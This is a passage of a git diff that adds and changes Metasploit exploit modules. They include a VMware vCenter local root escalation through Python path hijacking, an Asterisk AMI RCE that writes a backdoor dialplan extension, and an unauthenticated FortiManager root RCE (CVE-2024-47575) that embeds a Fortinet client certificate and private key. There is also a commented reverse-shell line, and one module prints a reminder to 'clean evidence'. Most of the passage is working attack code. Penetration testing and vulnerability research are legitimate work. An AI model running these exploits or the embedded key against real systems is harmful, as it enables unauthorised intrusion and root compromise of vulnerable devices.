OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptInt.new('TIMEOUT', [ true, 'Command timeout', 30 ]) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + vbuild = get_vcenter_build + # VMware VirtualCenter 7.0.3 build-19480866 + # VMware vCenter Server Appliance 6.5.0.0 Build 16197320 + # we want to try to make this build number Rex::Version friendly. https://rubular.com/r/BNLDjy0C862cdS + # technically we only care about major release 7 and 8, however we'll try to future proof w/ \d instead + return CheckCode::Safe("Unable to determine vcenter build from output: #{vbuild}") unless /(\d+\.\d+\.\d+) build[- ](\d+)/i =~ vbuild + + vbuild_version = Rex::Version.new("#{Regexp.last_match(1)}.#{Regexp.last_match(2)}") + + return CheckCode::Safe("Version not vulnerable: #{vbuild}") unless (vbuild_version > Rex::Version.new('8.0.0') && vbuild_version < Rex::Version.new('8.0.2.23929136')) || # 8.0 u2d + (vbuild_version > Rex::Version.new('7.0.0') && vbuild_version < Rex::Version.new('7.0.3.24026615')) # 7.0 u3r + + vprint_good("Exploitable version detected: #{vbuild_version}") + + @user = cmd_exec('whoami').chomp + @groups = cmd_exec('groups').chomp.split(' ') + if ['infraprofile', 'vpxd', 'sts', 'pod'].include?(@user) || (['operator', 'admin'] & @groups).any? + vprint_good('User is vulnerable') + else + return CheckCode::Safe("User not vulnerable or not in correct group. (#{@user}:#{@groups})") + end + + CheckCode::Appears("Version #{vbuild_version} and user (#{@user}:#{@groups}) are vulnerable") + end + + def exploit_operator_group + # for this exploit we abuse get_user_password_status.py as it does a 'import spwd', so if we + # modify the PYTHONPATH and set our payload to spwd.py, we'll get arbitrary execution + vprint_status('Utilizing PYTHONPATH exploitation method for operator group.') + vuln_exe = '/usr/lib/applmgmt/support/scripts/get_user_password_status.py' + + return Failure::NotFound, "Vulnerable script #{vuln_exe} not found" unless file? vuln_exe + + # Upload payload executable + payload_path = "#{base_dir}/#{rand_text_alphanumeric(6..10)}" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + + # Upload payload stub + payload_stub = "#{base_dir}/spwd.py" + write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()") + register_files_for_cleanup(payload_stub) + + print_status 'Launching exploit...' + output = cmd_exec "sudo PYTHONPATH=#{base_dir} #{vuln_exe}", nil, datastore['TIMEOUT'] + output.each_line { |line| vprint_status line.chomp } + end + + def exploit_pod_user + # for this exploit we abuse install-parametery as it does a 'from appliance...', so if we + # modify the VMWARE_PYTHON_PATH and set our payload to __init__.py, we'll get arbitrary execution + vprint_status('Utilizing VMWARE_PYTHON_PATH exploitation method for pod user.') + mkdir("#{base_dir}/appliance") + + # Upload payload executable + payload_path = "#{base_dir}/appliance/#{rand_text_alphanumeric(6..10)}" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + + # Upload payload stub + payload_stub = "#{base_dir}/appliance/__init__.py" + write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()") + register_files_for_cleanup(payload_stub) + + print_status 'Launching exploit...' + output = cmd_exec "sudo VMWARE_PYTHON_PATH=#{base_dir} install-parameter", nil, datastore['TIMEOUT'] + output.each_line { |line| vprint_status line.chomp } + end + + def exploit_admin_group + # for this exploit we abuse /bin/dcli, a bash script, as it executes $VMWARE_PYTHON_BIN + # so we modify the VMWARE_PYTHON_BIN, and we'll get arbitrary execution + vprint_status('Utilizing VMWARE_PYTHON_BIN exploitation method for admin group.') + mkdir("#{base_dir}/appliance") + + # Upload payload executable + payload_path = "#{base_dir}/appliance/#{rand_text_alphanumeric(6..10)}" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + + # Upload payload stub + payload_stub = "#{base_dir}/appliance/__init__.py" + write_file(payload_stub, "import os\nos.system('#{payload_path}')\nquit()") + register_files_for_cleanup(payload_stub) + + print_status 'Launching exploit...' + output = cmd_exec "sudo VMWARE_PYTHON_BIN=#{payload_path} /bin/dcli", nil, datastore['TIMEOUT'] + output.each_line { |line| vprint_status line.chomp } + end + + def exploit + if !datastore['ForceExploit'] && is_root? + fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override') + end + unless writable?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is not writable") + end + + @user = cmd_exec('whoami').chomp if @user.nil? + @groups = cmd_exec('groups').chomp.split(' ') if @groups.nil? + if @user == 'pod' + exploit_pod_user + elsif @groups.include? 'operator' + exploit_operator_group + elsif @groups.include? 'admin' + exploit_admin_group + else + fail_with(Failure::BadConfig, "User not vulnerable or not in correct group. (#{@user}:#{@groups})") + end + end +end diff --git a/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb index 949d0ddadb6a..3086b643c539 100644 --- a/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb +++ b/modules/exploits/linux/local/vmwgfx_fd_priv_esc.rb @@ -74,9 +74,13 @@ def base_dir def check # Check the kernel version to see if its in a vulnerable range release = kernel_release - unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') && - Rex::Version.new(release) < Rex::Version.new('5.17-rc1') - return CheckCode::Safe("Kernel version #{release} is not vulnerable") + begin + unless Rex::Version.new(release) > Rex::Version.new('4.14-rc1') && + Rex::Version.new(release) < Rex::Version.new('5.17-rc1') + return CheckCode::Safe("Kernel version #{release} is not vulnerable") + end + rescue ArgumentError => e + return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") end vprint_good "Kernel version #{release} appears to be vulnerable" diff --git a/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb new file mode 100644 index 000000000000..29f4a13ef37c --- /dev/null +++ b/modules/exploits/linux/misc/asterisk_ami_originate_auth_rce.rb @@ -0,0 +1,204 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + include Msf::Exploit::Remote::Asterisk + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Asterisk AMI Originate Authenticated RCE', + 'Description' => %q{ + On Asterisk, prior to versions 18.24.2, 20.9.2, and 21.4.2 and certified-asterisk + versions 18.9-cert11 and 20.7-cert2, an AMI user with 'write=originate' may change + all configuration files in the '/etc/asterisk/' directory. Writing a new extension + can be created which performs a system command to achieve RCE as the asterisk service + user (typically asterisk). + Default parking lot in FreePBX is called "Default lot" on the website interface, + however its actually 'parkedcalls'. + Tested against Asterisk 19.8.0 and 18.16.0 on Freepbx SNG7-PBX16-64bit-2302-1. + }, + 'Author' => [ + 'Brendan Coles ', # lots of AMI command stuff + 'h00die', # msf module + 'NielsGaljaard' # discovery + ], + 'References' => [ + ['URL', 'https://github.com/asterisk/asterisk/security/advisories/GHSA-c4cg-9275-6w44'], + ['CVE', '2024-42365'] + ], + 'Platform' => 'unix', + # leaving this for future travelers. I was still not getting 100% payload compatibility + # so there seems to still be another character or two bad, but b64 fixed it. + # 'Payload' => { + # # ; is a comment in the extensions.conf file + # 'BadChars' => ";\r\n:\"" # https://docs.asterisk.org/Configuration/Interfaces/Asterisk-Manager-Interface-AMI/AMI-v2-Specification/#message-layout + # }, + + # 927 characters (w/o padding) is the max (Error, Message: Failed to parse message: line too long) + # `echo "" | base64 -d | sh` == 19 characters + # chatGPT says 908 b64 encoded characters makes 681 pre-encoding. + 'Payload' => { + 'Space' => 681 + }, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_command + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => '2024-08-08', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'DefaultTarget' => 0, + 'License' => MSF_LICENSE + ) + ) + register_options [ + OptString.new('CONF', [true, 'The extensions configuration file location', '/etc/asterisk/extensions.conf']), + OptString.new('PARKINGLOT', [true, 'The extensions and name of the parking lot', '70@parkedcalls']), + OptString.new('EXTENSION', [true, 'The extension number to backdoor', Rex::Text.rand_text_numeric(3..5)]), + ] + register_advanced_options [ + OptInt.new('TIMEOUT', [true, 'Timeout value between AMI commands', 1]), + ] + end + + def conn? + vprint_status 'Connecting...' + + connect + banner = sock.get_once + + unless banner =~ %r{Asterisk Call Manager/([\d.]+)} + print_bad('Asterisk Call Manager does not appear to be running') + return false + end + + print_status "Found Asterisk Call Manager version #{::Regexp.last_match(1)}" + + unless login(datastore['USERNAME'], datastore['PASSWORD']) + print_bad('Authentication failed') + return false + end + + print_good 'Authenticated successfully' + true + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error e.message + false + end + + def check + # why don't we check the version numbers? + # we're connecting to Asterisk Call Manager, which seems to be a sub component + # of asterisk and therefore the version numbers don't line up. For instance + # Asterisk 19.8.0 (provided by freepbx SNG7-PBX16-64bit-2302-1.iso) + # uses Asterisk Call Manager version 8.0.2. + return CheckCode::Unknown('Unable to connect to Asterisk AMI service') unless conn? + + version = get_asterisk_version + disconnect + + return CheckCode::Detected('Able to connect, unable to determine version') if !version + if version.between?(Rex::Version.new('18.16.0'), Rex::Version.new('18.24.2')) || + version.between?(Rex::Version.new('19'), Rex::Version.new('20.9.2')) || + version.between?(Rex::Version.new('21'), Rex::Version.new('21.4.2')) || + version.to_s.include?('cert') && + ( + version.between?(Rex::Version.new('18.0-cert1'), Rex::Version.new('18.9-cert11')) || + version.between?(Rex::Version.new('19.0-cert1'), Rex::Version.new('20.7-cert2')) + ) + return Exploit::CheckCode::Appears("Exploitable version #{version} found") + end + + return Exploit::CheckCode::Safe("Unexploitable version #{version} found") + end + + def exploit + fail_with(Failure::NoAccess, 'Unable to connect or authenticate') unless conn? + + new_context = rand_text_alpha(8..12) + print_status("Using new context name: #{new_context}") + + print_status('Loading conf file') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=[#{new_context}]\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, "#{res}. This may be due to lack of permissions, a not vulnerable version, or an incorrect PARKINGLOT") + end + vprint_good(" #{res}") + # since commands are queued, sleeping 1 second is needed for the job to + # execute. This is mentioned in the original writeup: "(you might need to take some time between them)." + Rex.sleep(datastore['TIMEOUT']) + + print_status('Setting backdoor') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: SET\r\n" + # from the PoC + # req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(/bin/bash -c 'sh -i >& /dev/tcp/127.0.0.1/4444 0>&1')\r\n" + req << "Data: FILE(#{datastore['CONF']},,,al)=exten => #{datastore['EXTENSION']},1,System(echo \"#{Base64.strict_encode64(payload.encoded).gsub("\n", '')}\" | base64 -d | sh)\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Reloading config') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['PARKINGLOT']}\r\n" + req << "Application: Reload\r\n" + req << "Data: pbx_config\r\n" + req << "\r\n" + res = send_command req + res = res.strip.gsub("\r\n", ', ') + + if res.include?('Response: Error') + disconnect + fail_with(Failure::UnexpectedReply, res) + end + vprint_good(" #{res}") + Rex.sleep(datastore['TIMEOUT']) + + print_status('Triggering shellcode') + req = "Action: Originate\r\n" + req << "Channel: Local/#{datastore['EXTENSION']}@#{new_context}\r\n" + req << "application: Verbose\r\n" + req << "Data: #{Rex::Text.rand_text_numeric(5..8)}\r\n" + req << "\r\n" + send_command req + + disconnect + end + + def on_new_session(client) + super + print_good("!!!Don't forget to clean evidence from #{datastore['CONF']}!!!") + end +end diff --git a/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb new file mode 100644 index 000000000000..ca7e0cc77797 --- /dev/null +++ b/modules/exploits/linux/misc/fortimanager_rce_cve_2024_47575.rb @@ -0,0 +1,322 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Fortinet FortiManager Unauthenticated RCE', + 'Description' => %q{ + This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager + Cloud devices to achieve unauthenticated RCE with root privileges. + + The vulnerable FortiManager versions are: + * 7.6.0 + * 7.4.0 through 7.4.4 + * 7.2.0 through 7.2.7 + * 7.0.0 through 7.0.12 + * 6.4.0 through 6.4.14 + * 6.2.0 through 6.2.12 + + The vulnerable FortiManager Cloud versions are: + * 7.4.1 through 7.4.4 + * 7.2.1 through 7.2.7 + * 7.0.1 through 7.0.12 + * 6.4 (all versions). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2024-47575'], + # AttackerKB Rapid7 Analysis. + ['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'], + # Bishop Fox details certificate requirements for connecting to the FGFM service. + ['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'], + # Vendor Advisory. + ['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423'] + ], + 'DisclosureDate' => '2024-10-23', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Code execution as 'root' + 'DefaultOptions' => { + 'RPORT' => 541, + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/tmp' + }, + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + # The exploit provides a suitable client certificate/key pair by default, however we can let a user configure + # a different certificate/key pair to use if they want. The user can also override the serial number and + # platform if needed, but the exploit will try to detect the serial number and platform from the certificate + # by default. + OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']), + OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']), + OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']), + OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.']) + ] + ) + end + + def check + fgfm_sock = make_socket + + peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert) + + fgfm_sock.close + + organization = get_cert_subject_item(peer_cert, 'O') + + common_name = get_cert_subject_item(peer_cert, 'CN') + + # Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using. + # We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial + # number identifier. + return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG') + + CheckCode::Unknown + end + + def exploit + client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert + + client_cert = OpenSSL::X509::Certificate.new(client_cert_raw) + + common_name = get_cert_subject_item(client_cert, 'CN') + + fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name + + print_status("Client certificate common name: #{common_name}") + + serial_number = 'FMG-VM0000000000' + platform = 'FortiManager-VM64' + + # The platform needs to be the expected type of the corresponding serial number. We try to match these up here, + # and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options + # in case it is needed. + if common_name.start_with? 'FMG' + serial_number = common_name + platform = 'FortiManager-VM64' + elsif common_name.start_with? 'FG' + serial_number = common_name + platform = 'FortiGate-VM64' + else + print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.') + end + + serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber'] + + platform = datastore['ClientPlatform'] if datastore['ClientPlatform'] + + print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.") + + print_status('Connecting...') + + fgfm_sock = make_socket + + fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock + + print_status('Registering device...') + + req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00" + + resp1 = send_packet(fgfm_sock, req1) + + unless resp1&.include?('reply 200') + fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.') + end + + print_status('Creating channel...') + + req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00" + + resp2 = send_packet(fgfm_sock, req2) + + unless resp2&.include?('action=ack') + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.') + end + + localid = resp2.match(/localid=(\d+)/) + unless localid + fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.') + end + + print_status('Triggering...') + + req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n" + + send_packet(fgfm_sock, req3, read: false) + end + + # We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may + # either be a file path, or a blob of text. + def make_socket + hash = { + 'Proto' => 'tcp', + 'PeerHost' => datastore['RHOST'], + 'PeerPort' => datastore['RPORT'], + 'SSL' => true, + 'SSLVerifyMode' => 'NONE', + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self + } + } + + hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert'] + + hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey'] + + params = Rex::Socket::Parameters.from_hash(hash) + + params.ssl_client_cert = get_client_cert unless datastore['ClientCert'] + + params.ssl_client_key = get_client_key unless datastore['ClientKey'] + + fgfm_sock = Rex::Socket::Tcp.create_param(params) + + # Register our new socket, so that abort_sockets will close this socket after the payload handler + # has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout + # in the exploit method, before we manually close the socket and then try to catch the session. We want to keep + # the socket open until we have a session, as closing the socket too quickly can prevent the payload command + # we transmit over the FGFM channel on this socket from executing. + add_socket(fgfm_sock) + + fgfm_sock + end + + def send_packet(fgfm_sock, data, read: true) + packet = [0x36E01100, data.length + 8].pack('NN') + + packet += data + + fgfm_sock.write(packet) + + return nil unless read + + header = fgfm_sock.read(8) + + unless header + print_error('Failed to read an FGFM header') + return nil + end + + magic, len = header.unpack('NN') + + unless magic == 0x36E01100 + print_error('Bad magic value in FGFM header') + return nil + end + + unless len >= 8 + print_error('Bad length value in FGFM header') + return nil + end + + fgfm_sock.read(len - 8) + end + + def get_cert_subject_item(cert, type) + cert.subject.to_a.each do |item| + return item[1] if item[0] == type + end + nil + end + +=begin +An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a +serial number of FMG-VM0000000000 and a platform of FortiManager-VM64. + +$ sha1sum Fortinet_Local2.cer +9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer +$ sha1sum Fortinet_Local2.key +d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key +$ openssl x509 -noout -text -in Fortinet_Local2.cer +Certificate: + Data: + Version: 3 (0x2) + Serial Number: 405822 (0x6313e) + Signature Algorithm: sha256WithRSAEncryption + Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = support@fortinet.com + Validity + Not Before: Nov 10 21:14:26 2017 GMT + Not After : Jan 19 03:14:07 2038 GMT + Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = support@fortinet.com +=end + def get_client_cert + "-----BEGIN CERTIFICATE----- +MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV +UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD +VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw +DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0 +LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG +EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw +DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD +ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp +bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV +jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w +oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd +pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn +hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE +IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR +utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA +l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg +zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv +w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl +35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd +ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+ +7pactwTnQmwhvlLQ7Z/dOg== +-----END CERTIFICATE-----" + end + + def get_client_key + "-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH +BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi +UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD +CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf +7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0 +yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY +OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG +ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj +pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU +BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT +0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2 +3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve +nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl +DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y +jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz +6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6 +KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW +Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL +1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj +MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB +2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E +871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q +IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i +BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e +oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu +Lh1BvSCTWFh0WIUxOrNlmlg1Uw== +-----END PRIVATE KEY-----" + end +end diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb index 116cad9e906b..d909e5ec2cfa 100644 --- a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb +++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb @@ -111,7 +111,7 @@ def do_login(user) if ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil return conn diff --git a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb index 539e44d1795c..ca5e9af4477e 100644 --- a/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb +++ b/modules/exploits/linux/ssh/cisco_ucs_scpuser.rb @@ -114,7 +114,7 @@ def do_login(user, pass) end if ssh - conn = Net::SSH::CommandStream.new(ssh) + conn = Net::SSH::CommandStream.new(ssh, logger: self) ssh = nil return conn end diff --git a/modules/exploits/linux/ssh/exagrid_known_privkey.rb b/modules/exploits/linux/ssh/exagrid_known_privkey.rb index d4cce50196d7..998634663839 100644 --- a/modules/exploits/linux/ssh/exagrid_known_privkey.rb +++ b/modules/exploits/linux/ssh/exagrid_known_privkey.rb @@ -103,7 +103,7 @@ def do_login(ssh_options) if ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil return conn diff --git a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb index 9fabb88999ce..64125268d4d0 100644 --- a/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb +++ b/modules/exploits/linux/ssh/f5_bigip_known_privkey.rb @@ -110,7 +110,7 @@ def do_login(user) return false unless ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil conn end diff --git a/modules/exploits/linux/ssh/ibm_drm_a3user.rb b/modules/exploits/linux/ssh/ibm_drm_a3user.rb index f011ef9d17ef..c6367baef543 100644 --- a/modules/exploits/linux/ssh/ibm_drm_a3user.rb +++ b/modules/exploits/linux/ssh/ibm_drm_a3user.rb @@ -113,7 +113,7 @@ def do_login(user, pass) fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}") end - return Net::SSH::CommandStream.new(ssh) if ssh + return Net::SSH::CommandStream.new(ssh, logger: self) if ssh nil end diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb index 750e4cb387d1..26060244ed3c 100644 --- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -108,7 +108,7 @@ def do_login(user) if ssh_socket # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(ssh_socket) + conn = Net::SSH::CommandStream.new(ssh_socket, logger: self) ssh_socket = nil return conn diff --git a/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb b/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb index f12ce10a97fb..bebda2b76ea2 100644 --- a/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb +++ b/modules/exploits/linux/ssh/microfocus_obr_shrboadmin.rb @@ -113,7 +113,7 @@ def do_login(user, pass) end if ssh 